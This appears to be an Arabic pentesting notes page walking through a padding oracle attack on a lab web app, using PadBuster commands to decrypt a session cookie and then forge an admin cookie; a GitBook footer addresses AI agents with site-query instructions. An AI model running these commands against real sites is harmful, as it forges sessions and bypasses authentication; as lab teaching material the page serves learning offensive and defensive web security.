> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# تقنيات Padding Oracle

هيا **أنشئ مستخدمًا** على الموقع الإلكتروني:

<figure><img src="/files/41f46e41bdd072dfa35493368a49f321de8a058f" alt="" width="563"><figcaption></figcaption></figure>

هذا هو **ملف تعريف ارتباط للجلسة** الذي هو مُجزّأ والذي نحاول من **فك التشفير**:

<figure><img src="/files/f1560aee2c49cb1f281b1514a46c098dce4cba41" alt=""><figcaption></figcaption></figure>

باستخدام الأداة **PadBuster**، نرسل الرابط مع ملف تعريف ارتباط الجلسة واسمه كما يلي:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

يعيد قيم ملف تعريف الارتباط على شكل **نصٍّ صريح**:

<figure><img src="/files/345a7a05b9c832917547e648aecd815a1d4ae98f" alt="" width="563"><figcaption></figcaption></figure>

إذا بدلًا من ضبط **user=jordan**، فإننا نشفّره كـ **user=admin**، فهذا يعطينا ملف تعريف ارتباط جلسة المدير إذا كان موجودًا. مع **PadBuster**، نعيد إرسال الأمر، لكن هذه المرة نستخدم **-plaintext** لأننا نعرف النص الصريح الذي نريد تشفيره باستخدام نفس **oracle**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

فهو يعطينا ملف تعريف ارتباط الجلسة **admin**:

<figure><img src="/files/e26603a45574702ee3a3e5fce89e67bce0f1038f" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
